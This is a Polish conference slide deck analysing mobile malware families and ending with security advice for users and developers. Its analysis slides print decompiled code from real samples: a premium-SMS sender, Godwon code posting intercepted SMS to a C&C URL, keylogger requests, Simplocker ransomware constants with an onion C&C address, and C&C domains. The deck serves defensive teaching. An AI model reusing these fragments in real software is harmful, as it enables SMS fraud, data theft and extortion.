Upload
securing
View
107
Download
1
Embed Size (px)
Citation preview
Możliwości złośliwego
oprogramowania na
platformy mobilne
Łukasz Bobrek
SECURE 25.10.2016(img: http://www.pcworld.com/article/2691668/report-huge-spike-in-mobile-malware-targets-android-especially-mobile-payments.html)
O MNIE
Łukasz Bobrek
Specjalista ds. Bezpieczeństwa IT
Inżynieria wstecznego złośliwego oprogramowania na Androida
1. Wprowadzenie
2. Przykłady współczesnego malware
3. Możliwości złośliwego oprogramowania – podsumowanie
4. Co przyniesie przyszłość?
5. Zabezpieczenia (Antywirusy / Użytkownik / Programista)
AGENDA
~ 2 082 700 000 użytkowników urządzeń mobilnych
~ 3 970 000 aplikacji mobilnych
~ 1 062 177 000 użytkowników mobilnych aplikacji
bankowych
~ 550 000 000 0000 dolarów wydawanych w ciągu roku
poprzez płatności mobilne
PO CO ATAKOWAĆ APLIKACJE MOBILNE?
www.statista.com, Symantec
JAK ATAKOWAĆ URZĄDZENIA MOBILNE?
Inna aplikacja na urządzeniu
Podatności systemu
Kradzież, zgubienie urządzenia, przypadkowy dostęp, inna aplikacja...
Ataki na transmisję -podsłuch, słabości SSL
Social engineering,słabości użytkownikównp. słabe hasło, zbyt trudne mechanizmy
API – błędy kontroli dostępu, logiczne, konfiguracji...
Analiza paczki
ZAGROŻENIA
1. Fizyczna kradzież urządzenia
2. Złośliwe oprogramowanie
3. Podatności w aplikacjach mobilnych
~ 1 300 000 aplikacji mobilnych sklasyfikowanych
jako złośliwe oprogramowanie
~ 1 500 nowych próbek złośliwego
oprogramowania dziennie!
MALWARE
www.statista.com, Symantec
MALWARE - DYSTRYBUCJA
• Nieoficjalne sklepy z aplikacjami
• Phishing, socjotechnika, reklamy – instalacja niezaufanych aplikacji
• Zainfekowane stacje robocze
• Wykorzystanie podatności systemowych (stagefright, iOS remote JB)
• Oficjalne sklepy z aplikacjami
PACZKA APLIKACJI - ANDROID
• AndroidManifest.xml
• Skompilowany kod źródłowy (dex)
• Szablony, dane (xml)
• Grafika, multimedia
PACZKA APLIKACJI - iOS
• Plik binarny aplikacji
• Zasoby (grafika, video, HTML…)
• embeded.mobileprovision
• _CodeSignature
ANALIZA STATYCZNA
Pliki .plistZasoby (grafika, certyfikaty….)Pliki wykonywalne aplikacji (.app)„Provisioning files”
Zabezpieczenia binarne (PIE, ARC, Stash Smashing)Class dumpURL Handlers
ANALIZA DYNAMICZNA
• Analiza funkcjonalności dostępnych w aplikacji
• Sprawdzenie logów oraz cache zapisywanych przez aplikację
• Sprawdzenie jakie aplikacja uruchamia procesy oraz jakie pliki są przez nią zapisywane
• Obserwacja ruchu sieciowego generowanego przez aplikację
• Analiza IPC (ang. inter-proces communication)
• Weryfikacja poprawności konfiguracji SSL
• Testy API serwera aplikacji
SMS PREMIUM
Historycznie pierwszy rodzaj złośliwego oprogramowania na platformy mobilne:
• Fake Player (2010) – 300 000 instalacji
• Scavir
• FakeInst
• Mkero
SMS PREMIUM
<?xml version="1.0" encoding="utf-8"
standalone="no"?>
<manifest
xmlns:android="http://schemas.android.com/apk/res/a
ndroid"
package="org.me.androidapplication1">
(…)
</application>
<uses-permission
android:name="android.permission.SEND_SMS"/>
</manifest>
SMS PREMIUM
public void onCreate(Bundle var1) {super.onCreate(var1);TextView var6 = new TextView(this);var6.setText("Нажмите ок для доступа к видеотеке");this.setContentView(var6);SmsManager var7 = SmsManager.getDefault();try {var7.sendTextMessage("3353", (String)null, "798657",
(PendingIntent)null, (PendingIntent)null);} catch (Exception var5) {Log.e("Oops in playsound", "", var5);}
(M)AdWare
Adware – sposób dystrybucji aplikacji, w którym źródłem dochodów są reklamy.
MadWare – „agresywne” wyświetlanie reklam mających na celu skłonienie użytkownika do instalacji innego złośliwego
oprogramowania lub włączenia usługi SMS Premium.
AdWare
Przykłady:
• Durak (10 milionów pobrań z oficjalnego sklepu Google Play w roku 2015)
• Mobidash
• Plankton
• Mobango
• Muda (iOS)
DURAK
Malware działa „z opóźnionym zapłonem” dlatego nie został wykryty przez skaner Google Bouncer
{
"id" : "af70e9985-a73c-46d6-a24e-
a7e112748cf7",
"domains" : ["http://ad1.mads.bz/"],
"overapp" : true,
"overappStartDelaySeconds" : 86400,
"overappBannerDelaySeconds" :300
}
Fragment pliku ads_settings.json
DURAK
11-06 18:36:44.535: D/Microlog(3685): Microlog 85182:[DEBUG]-Hide ad11-06 18:36:44.545: D/Microlog(3685): Microlog 85192:[DEBUG]-try showLink11-06 18:36:44.550: D/Microlog(3685): Microlog 85194:[DEBUG]-screen is locked. wait for unlock
11-06 18:38:55.795: D/Microlog(3685): Microlog 216442:[DEBUG]-user present11-06 18:38:55.795: D/Microlog(3685): Microlog 216442:[DEBUG]-show pending link11-06 18:38:55.795: D/Microlog(3685): Microlog 216443:[DEBUG]-try showLink11-06 18:38:55.800: D/Microlog(3685): Microlog 216444:[DEBUG]-showLink11-06 18:38:55.830: D/Microlog(3685): Microlog 216476:[DEBUG]-Open url externalhttp://g77appx3.com
1. Telefon jest zablokowany
2. Telefon jest odblokowany
APLIKACJE SZPIEGUJĄCE
Aplikacje wysyłające wrażliwe informacje o użytkowniku bez jego wiedzy oraz świadomej
zgody na zdalny serwer, gdzie są przetwarzane w sposób dla niego szkodliwy.
APLIKACJE SZPIEGUJĄCE
Przykłady:
• Godwon
• SocialPath
• Android.HeHe
• Pegasus (iOS)
• FlexiSpy (iOS)
GODWONpublic class BootReceiver extends BroadcastReceiver {
TelephonyManager manager;
String originAddress = ""
(…)
if(var5.equals("android.provider.Telephony.SMS_RECEIVED")) {
SmsMessage[] var6 = this.getMessagesFromIntent(var2);
final StringBuilder var7 = new StringBuilder();
int var4 = var6.length;
for(int var3 = 0; var3 < var4; ++var3) {
SmsMessage var8 = var6[var3];
(…)
ToolHelper.postData("http://skytime.w65.1860asp.com/sms/saves.php", var1);
Log.e("tag", "result = " + var5);
}
GODWON
POST /saves.ashx HTTP/1.1User-Agent: Mozilla/5.0 (Linux; Android 4.4.4; GT-N7000 Build/KTU84Q)Host: 204.11.56.48Connection: Keep-AliveAccept-Encoding: gzipContent-Type: application/x-www-form-urlencodedContent-Length: 59
smscontent=Tak%20działa%20złośliwe%20oprogramowanie%20wykradające%20d
ane%20użytkownik&sbid=48666555444&sign=key7974538k459945k45
KEYLOGGER
POST /swiftkey_keylogger/keypresses.php HTTP/1.1Host: www.android-app-development.ie(...)type=textinputevent&data=t
(...) type=textinputevent&data=e
(...)type=textinputevent&data=s
(...)type=textinputevent&data=t
http://www.apk-mania.com/2014/01/swiftkey-keyboard-v442254-apk_16.html
RANSOMWARE
Złośliwe oprogramowanie, które swoim działaniem utrudnia (lub uniemożliwia) korzystanie z urządzenia, a w celu jego odblokowania żąda zapłaty określonego okupu.
SIMPLOCKER
public class Constants
{
public static final String ADMIN_URL = "http://xeyocsu7fu2vjhxs.onion/";
public static final int CHECK_MAIN_WINDOW_TIME_SECONDS = 1;
public static final String CIPHER_PASSWORD = "jndlasf074hr";
public static final String DISABLE_LOCKER = "DISABLE_LOCKER";
public static final List<String> EXTENSIONS_TO_ENCRYPT = Arrays.asList(new
String[] { "jpeg", "jpg", "png", "bmp", "gif", "pdf", "doc", "docx", "txt",
"avi", "mkv", "3gp", "mp4" });
public static final String FILES_WAS_ENCRYPTED = "FILES_WAS_ENCRYPTED";
public static final int MONEYPACK_DIGITS_NUMBER = 14;
public static final int PAYSAFECARD_DIGITS_NUMBER = 16;
(…)
BOTNET
Botnet to grupa urządzeń, które pozostają pod zdalną kontrolą serwera C&C i mogą zostać
wykorzystane do dowolnego celu (np. ataki typu DDoS, spam etc)
NOTCOMPATIBLE
public void onReceive(Context paramContext, Intent paramIntent)
{
if ("android.intent.action.BOOT_COMPLETED".equals(paramIntent.getAction())) {
paramContext.startService(new Intent(paramContext,
SecurityUpdateService.class));
}
if ("android.intent.action.USER_PRESENT".equals(paramIntent.getAction())) {
paramContext.startService(new Intent(paramContext,
SecurityUpdateService.class));
}
NOTCOMPATIBLE
1. Aplikacja odpytuje serwer C&C o nowe instrukcje
Serwery C&C:• Notcompatibleapp.eu
• 3na3budet9.ru
MALWARE NA APLIKACJE FINANSOWE
Warunki konieczne do wykonania ataku:
• Przejęcie kontroli nad bankową aplikacją mobilną
• Przechwytywanie wiadomości SMS wykorzystywanych jako dodatkowa autoryzacja
FAKEBANK
2. Przejęcie kontroli nad aplikacją mobilną
BK_ARRAY_LIST = new String[] { "nh.smart", "com.shinhan.sbanking",
"com.webcash.wooribank", "com.ATsolution.KBbank",
"com.hanabank.ebk.channel.android.hananbank" };
MY_BK_ARRAY_LIST = new String[] { "com.nh.android.smart",
"com.shinhan.android.shinhan.sh", "com.cashweb.wooribank",
"com.kbstar.kb.star","com.hana.ebk.channel.hanan" };
MALWARE ODBLOKOWUJĄCY URPAWNIENIA SYSTEMOWE
Architektura bezpieczeństwa zarówno iOS jak i Androida jest oparta na architekturze bezpieczeństwa Unix
MALWARE ODBLOKOWUJĄCY URPAWNIENIA SYSTEMOWE
Root/Jailbreak
Proces mający na celu usunięcie ograniczeń systemowych narzuconych przez system operacyjny
=
Zdobycie uprawnień administracyjnych
MALWARE ODBLOKOWUJĄCY URPAWNIENIA SYSTEMOWE
Przykłady:
• Gingerbreak
• Stagefright
• Godless
• DroidKungFu
• Pegasus (iOS)
GODLESS
• Czerwiec 2016
• Podatne są wszystkie urządzenia z Androidem 5.1 lub starszym (90% rynku)
• Około 900 000 instalacji
• Framework android-rooting-toolshttps://github.com/android-rooting-tools
libgodlike.so
PEGASUS
• Do przejęcia kontroli nad urządzeniem wystarczy nakłonić ofiarę do otwarcia specjalnej strony www
MOŻLIWOŚĆ ZŁOŚLIWEGO OPROGRAMOWANIA
1. Premium SMS
2. AdWare
3. Aplikacje szpiegujące
4. Ransomware
5. Botnet
6. Malware przeznaczony na aplikacje finansowe
7. Aplikacje odblokowujące uprawnienia systemowe
CO PRZYNIESIE PRZYSZŁOŚĆ?
• Więcej ataków na bankowości mobilne
• Ataki na płatności zbliżeniowe HCE
• Rozwój czarnego rynku
• Ataki wykorzystujące nowe funkcjonalności
ASSIST API – FUNKCJONALNOŚĆ CZY MALWARE?
ASSIST API (Android 6.0) umożliwia aplikacji „Asystenta” dostęp do informacji aktualnie
znajdujących się na ekranie
ASSIST API – FUNKCJONALNOŚĆ CZY MALWARE?
POST /data/16032016-001403 HTTP/1.1
(…)
{
"data": {
"android.intent.extra.ASSIST_PACKAGE": "com.android.browser",
"android.intent.extra.ASSIST_UID": 10031 },
"content": {
"extras": {},
"intent": "intent:#Intent;action=android(…)
MOBILNE ANTYWIRUSY
1. Bardzo niska skuteczność
2. Tylko statyczna analiza sygnatur(Brak analizy dynamicznej opartej o heurystyki)
3. Kompromis pomiędzy skutecznością, a wydajnością i czasem życia baterii
ZABEZPIECZENIA - UŻYTKOWNIK
1. Unikaj instalowania aplikacji z niezaufanych źródeł !!!
2. Zawsze sprawdzaj z jakich uprawnień chce korzystać instalowana aplikacja
3. Aktualizuj system operacyjny
4. Monitoruj wydajności urządzenia mobilnego oraz czasu pracy baterii
5. Pamiętaj o kopiach zapasowych
ZABEZPIECZENIA - PROGRAMISTA
1. Nie używaj współdzielonych zasobów do przechowywania danych
2. Pamiętaj o odpowiednim ustawieniu uprawnień do plików aplikacji
3. Nie zapisuj w pamięci urządzenia wrażliwych danych (PIN, saldo etc…)
ZABEZPIECZENIA - PROGRAMISTA
4. W przypadku konieczności biznesowej zapisywania takich danych na urządzeniu,
użyj szyfrowania
5. Unikaj umieszczania kodów szyfrujących, kluczy i tokenów
w kodzie aplikacji
ZABEZPIECZENIA - PROGRAMISTA
6. Poinformuj użytkownika o tym że korzysta z urządzenia które ma roota/jailbreak
ZABEZPIECZENIA - PROGRAMISTA
7. Prawidłowo zabezpiecz URL-Handlers (iOS)
8. Poprawnie skonfiguruj
WebView
ZABEZPIECZENIA - PROGRAMISTA
5. Prawidłowo zabezpiecz Intenty (Android)
9. Nie używaj klawiatury systemowej do wprowadzania wrażliwych danych
10. Certificate Pinning
11. Device scoring
DEVICE SCORING
• Weryfikacja roota/JB
• Lista zainstalowanych aplikacji
• CA użytkownika
• Wersja systemu operacyjnego
• Analiza behavioralna
• (…)
devicekey:AD407F0797FDDEC0F5F5A3CA7ABB97E9BA7D5BA464DA0095DBAFFD3,config_update:1000,os.ver_up_to_date:0,os.rooted:0,os.rooted.native:0,os.rooted.hiders:0,malware.any:0,total.risk.generic:0
ZABEZPIECZENIA - PROGRAMISTA
Więcej:
• Aplikacje mobilne – podstawowe zalecenia w zakresie bezpieczeństwa
• Dla implementacji HCE:
https://www.securing.pl/wp-content/uploads/2015/06/Aplikacje-mobilne-podstawowe-zalecenia-w-zakresie-bezpieczenstwa.pdf
http://www.slideshare.net/wojdwo/demystifying-host-card-emulation-security-best-practices-for-implementing-secure-mobile-payments